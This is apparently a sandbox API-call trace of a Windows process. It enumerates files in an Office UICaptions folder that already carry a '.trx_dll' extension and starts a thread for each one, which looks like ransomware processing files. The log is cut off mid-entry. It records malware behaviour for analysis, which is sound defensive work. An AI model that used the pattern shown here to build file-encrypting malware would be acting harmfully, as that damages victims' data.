[0150.097] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x940f48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1808 [0150.100] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x248aaf00, ftCreationTime.dwHighDateTime=0x1caca0b, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x248aaf00, ftLastWriteTime.dwHighDateTime=0x1caca0b, nFileSizeHigh=0x0, nFileSizeLow=0x16f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL.trx_dll", cAlternateFileName="MSOINT~1.TRX")) returned 1 [0150.100] wcscmp (_String1="MSOINTL.DLL.trx_dll", _String2=".") returned 1 [0150.100] wcscmp (_String1="MSOINTL.DLL.trx_dll", _String2="..") returned 1 [0150.100] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0xd4c9310 [0150.100] wcscpy (in: _Dest=0xd4c9310, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" [0150.100] wcscat (in: _Dest=0xd4c9310, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0150.100] wcscat (in: _Dest=0xd4c9310, _Source="MSOINTL.DLL.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.DLL.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.DLL.trx_dll" [0150.100] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4c9310, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x180c [0150.101] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x25bbdc00, ftCreationTime.dwHighDateTime=0x1caca0b, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x25bbdc00, ftLastWriteTime.dwHighDateTime=0x1caca0b, nFileSizeHigh=0x0, nFileSizeLow=0x2b2560, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.REST.trx_dll", cAlternateFileName="MSOINT~2.TRX")) returned 1 [0150.101] wcscmp (_String1="MSOINTL.REST.trx_dll", _String2=".") returned 1 [0150.101] wcscmp (_String1="MSOINTL.REST.trx_dll", _String2="..") returned 1 [0150.101] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8a) returned 0x940eb0 [0150.101] wcscpy (in: _Dest=0x940eb0, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" [0150.101] wcscat (in: _Dest=0x940eb0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0150.101] wcscat (in: _Dest=0x940eb0, _Source="MSOINTL.REST.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.REST.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.REST.trx_dll" [0150.101] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x940eb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1810 [0150.103] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3564d600, ftCreationTime.dwHighDateTime=0x1cac7fb, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3564d600, ftLastWriteTime.dwHighDateTime=0x1cac7fb, nFileSizeHigh=0x0, nFileSizeLow=0xb360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMSINTL.DLL.trx_dll", cAlternateFileName="OMSINT~1.TRX")) returned 1 [0150.103] wcscmp (_String1="OMSINTL.DLL.trx_dll", _String2=".") returned 1 [0150.103] wcscmp (_String1="OMSINTL.DLL.trx_dll", _String2="..") returned 1 [0150.103] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0xd4c93a0 [0150.103] wcscpy (in: _Dest=0xd4c93a0, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" [0150.103] wcscat (in: _Dest=0xd4c93a0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0150.103] wcscat (in: _Dest=0xd4c93a0, _Source="OMSINTL.DLL.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\OMSINTL.DLL.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\OMSINTL.DLL.trx_dll" [0150.103] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4c93a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1814 [0150.104] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x63b88300, ftCreationTime.dwHighDateTime=0x1cacf6a, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x63b88300, ftLastWriteTime.dwHighDateTime=0x1cacf6a, nFileSizeHigh=0x0, nFileSizeLow=0x7b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONINTL.DLL.trx_dll", cAlternateFileName="ONINTL~1.TRX")) returned 1 [0150.104] wcscmp (_String1="ONINTL.DLL.trx_dll", _String2=".") returned 1 [0150.104] wcscmp (_String1="ONINTL.DLL.trx_dll", _String2="..") returned 1 [0150.104] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0xd4c9430 [0150.104] wcscpy (in: _Dest=0xd4c9430, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" [0150.104] wcscat (in: _Dest=0xd4c9430, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0150.104] wcscat (in: _Dest=0xd4c9430, _Source="ONINTL.DLL.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.DLL.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.DLL.trx_dll" [0150.104] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4c9430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1818 [0150.105] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62875600, ftCreationTime.dwHighDateTime=0x1cacf6a, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x62875600, ftLastWriteTime.dwHighDateTime=0x1cacf6a, nFileSizeHigh=0x0, nFileSizeLow=0x3d960, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONINTL.REST.trx_dll", cAlternateFileName="ONINTL~2.TRX")) returned 1 [0150.105] wcscmp (_String1="ONINTL.REST.trx_dll", _String2=".") returned 1 [0150.105] wcscmp (_String1="ONINTL.REST.trx_dll", _String2="..") returned 1 [0150.105] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0xd4c94c0 [0150.105] wcscpy (in: _Dest=0xd4c94c0, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" [0150.105] wcscat (in: _Dest=0xd4c94c0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0150.105] wcscat (in: _Dest=0xd4c94c0, _Source="ONINTL.REST.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.REST.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.REST.trx_dll" [0150.105] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4c94c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x181c [0150.106] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x302da400, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x302da400, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x35960, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLLIBR.DLL.trx_dll", cAlternateFileName="OUTLLI~1.TRX")) returned 1 [0150.106] wcscmp (_String1="OUTLLIBR.DLL.trx_dll", _String2=".") returned 1 [0150.106] wcscmp (_String1="OUTLLIBR.DLL.trx_dll", _String2="..") returned 1 [0150.106] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8a) returned 0x93fea8 [0150.106] wcscpy (in: _Dest=0x93fea8, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" [0150.107] wcscat (in: _Dest=0x93fea8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0150.107] wcscat (in: _Dest=0x93fea8, _Source="OUTLLIBR.DLL.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.DLL.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.DLL.trx_dll" [0150.107] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93fea8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1820 [0150.108] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x302da400, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeef739f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x302da400, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x9f560, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLLIBR.REST.trx_dll", cAlternateFileName="OUTLLI~2.TRX")) returned 1 [0150.108] wcscmp (_String1="OUTLLIBR.REST.trx_dll", _String2=".") returned 1 [0150.108] wcscmp (_String1="OUTLLIBR.REST.trx_dll", _String2="..") returned 1 [0150.108] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0x940e18 [0150.108] wcscpy (in: _Dest=0x940e18, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" [0150.108] wcscat (in: _Dest=0x940e18, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0150.108] wcscat (in: _Dest=0x940e18, _Source="OUTLLIBR.REST.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.REST.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.REST.trx_dll" [0150.108] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x940e18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1824 [0150.109] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x315ed100, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeef739f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x315ed100, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLWVW.DLL.trx_dll", cAlternateFileName="OUTLWV~1.TRX")) returned 1 [0150.109] wcscmp (_String1="OUTLWVW.DLL.trx_dll", _String2=".") returned 1 [0150.109] wcscmp (_String1="OUTLWVW.DLL.trx_dll", _String2="..") returned 1 [0150.109] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0xd4c9550 [0150.109] wcscpy (in: _Dest=0xd4c9550, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" [0150.109] wcscat (in: _Dest=0xd4c9550, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0150.109] wcscat (in: _Dest=0xd4c9550, _Source="OUTLWVW.DLL.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLWVW.DLL.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLWVW.DLL.trx_dll" [0150.109] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4c9550, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1828 [0150.110] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1a4a9400, ftCreationTime.dwHighDateTime=0x1cac804, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1a4a9400, ftLastWriteTime.dwHighDateTime=0x1cac804, nFileSizeHigh=0x0, nFileSizeLow=0xd160, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPINTL.DLL.trx_dll", cAlternateFileName="PPINTL~1.TRX")) returned 1 [0150.110] wcscmp (_String1="PPINTL.DLL.trx_dll", _String2=".") returned 1 [0150.110] wcscmp (_String1="PPINTL.DLL.trx_dll", _String2="..") returned 1 [0150.110] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0xd4c95e0 [0150.110] wcscpy (in: _Dest=0xd4c95e0, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" [0150.110] wcscat (in: _Dest=0xd4c95e0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0150.110] wcscat (in: _Dest=0xd4c95e0, _Source="PPINTL.DLL.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.DLL.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.DLL.trx_dll" [0150.110] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4c95e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x182c [0150.111] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x19196700, ftCreationTime.dwHighDateTime=0x1cac804, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x19196700, ftLastWriteTime.dwHighDateTime=0x1cac804, nFileSizeHigh=0x0, nFileSizeLow=0x43560, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPINTL.REST.trx_dll", cAlternateFileName="PPINTL~2.TRX")) returned 1 [0150.111] wcscmp (_String1="PPINTL.REST.trx_dll", _String2=".") returned 1 [0150.112] wcscmp (_String1="PPINTL.REST.trx_dll", _String2="..") returned 1 [0150.112] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0xd4c9670 [0150.112] wcscpy (in: _Dest=0xd4c9670, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" [0150.112] wcscat (in: _Dest=0xd4c9670, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0150.112] wcscat (in: _Dest=0xd4c9670, _Source="PPINTL.REST.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.REST.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.REST.trx_dll" [0150.112] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4c9670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1830 [0150.113] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x58968200, ftCreationTime.dwHighDateTime=0x1cac809, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x58968200, ftLastWriteTime.dwHighDateTime=0x1cac809, nFileSizeHigh=0x0, nFileSizeLow=0x1a560, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB6INTL.DLL.trx_dll", cAlternateFileName="PUB6IN~1.TRX")) returned 1 [0150.113] wcscmp (_String1="PUB6INTL.DLL.trx_dll", _String2=".") returned 1 [0150.113] wcscmp (_String1="PUB6INTL.DLL.trx_dll", _String2="..") returned 1 [0150.113] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8a) returned 0x93fce0 [0150.113] wcscpy (in: _Dest=0x93fce0, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" [0150.113] wcscat (in: _Dest=0x93fce0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0150.113] wcscat (in: _Dest=0x93fce0, _Source="PUB6INTL.DLL.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.DLL.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.DLL.trx_dll" [0150.113] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93fce0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1834 [0150.114] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x57655500, ftCreationTime.dwHighDateTime=0x1cac809, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x57655500, ftLastWriteTime.dwHighDateTime=0x1cac809, nFileSizeHigh=0x0, nFileSizeLow=0x87f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB6INTL.REST.trx_dll", cAlternateFileName="PUB6IN~2.TRX")) returned 1 [0150.114] wcscmp (_String1="PUB6INTL.REST.trx_dll", _String2=".") returned 1 [0150.114] wcscmp (_String1="PUB6INTL.REST.trx_dll", _String2="..") returned 1 [0150.114] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0x9406f8 [0150.114] wcscpy (in: _Dest=0x9406f8, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" [0150.114] wcscat (in: _Dest=0x9406f8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0150.114] wcscat (in: _Dest=0x9406f8, _Source="PUB6INTL.REST.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.REST.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.REST.trx_dll" [0150.114] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9406f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1838 [0150.115] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2720b500, ftCreationTime.dwHighDateTime=0x1cac80f, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2720b500, ftLastWriteTime.dwHighDateTime=0x1cac80f, nFileSizeHigh=0x0, nFileSizeLow=0x57f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBWZINT.REST.trx_dll", cAlternateFileName="PUBWZI~1.TRX")) returned 1 [0150.115] wcscmp (_String1="PUBWZINT.REST.trx_dll", _String2=".") returned 1 [0150.115] wcscmp (_String1="PUBWZINT.REST.trx_dll", _String2="..") returned 1 [0150.116] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0x940660 [0150.116] wcscpy (in: _Dest=0x940660, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" [0150.116] wcscat (in: _Dest=0x940660, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0150.116] wcscat (in: _Dest=0x940660, _Source="PUBWZINT.REST.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\PUBWZINT.REST.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\PUBWZINT.REST.trx_dll" [0150.116] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x940660, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x183c [0150.117] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x94d0df00, ftCreationTime.dwHighDateTime=0x1cac817, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x94d0df00, ftLastWriteTime.dwHighDateTime=0x1cac817, nFileSizeHigh=0x0, nFileSizeLow=0x3360, dwReserved0=0x0, dwReserved1=0x0, cFileName="SGRES.DLL.trx_dll", cAlternateFileName="SGRESD~1.TRX")) returned 1 [0150.117] wcscmp (_String1="SGRES.DLL.trx_dll", _String2=".") returned 1 [0150.117] wcscmp (_String1="SGRES.DLL.trx_dll", _String2="..") returned 1 [0150.117] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x84) returned 0xd4c9700 [0150.117] wcscpy (in: _Dest=0xd4c9700, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" [0150.117] wcscat (in: _Dest=0xd4c9700, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0150.117] wcscat (in: _Dest=0xd4c9700, _Source="SGRES.DLL.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\SGRES.DLL.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\SGRES.DLL.trx_dll" [0150.117] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4c9700, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1840 [0150.118] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xca190500, ftCreationTime.dwHighDateTime=0x1cac7f6, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xca190500, ftLastWriteTime.dwHighDateTime=0x1cac7f6, nFileSizeHigh=0x0, nFileSizeLow=0x4360, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.trx_dll", cAlternateFileName="STINTL~1.TRX")) returned 1 [0150.118] wcscmp (_String1="STINTL.DLL.trx_dll", _String2=".") returned 1 [0150.118] wcscmp (_String1="STINTL.DLL.trx_dll", _String2="..") returned 1 [0150.118] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0xd4c9790 [0150.118] wcscpy (in: _Dest=0xd4c9790, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" [0150.118] wcscat (in: _Dest=0xd4c9790, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\") 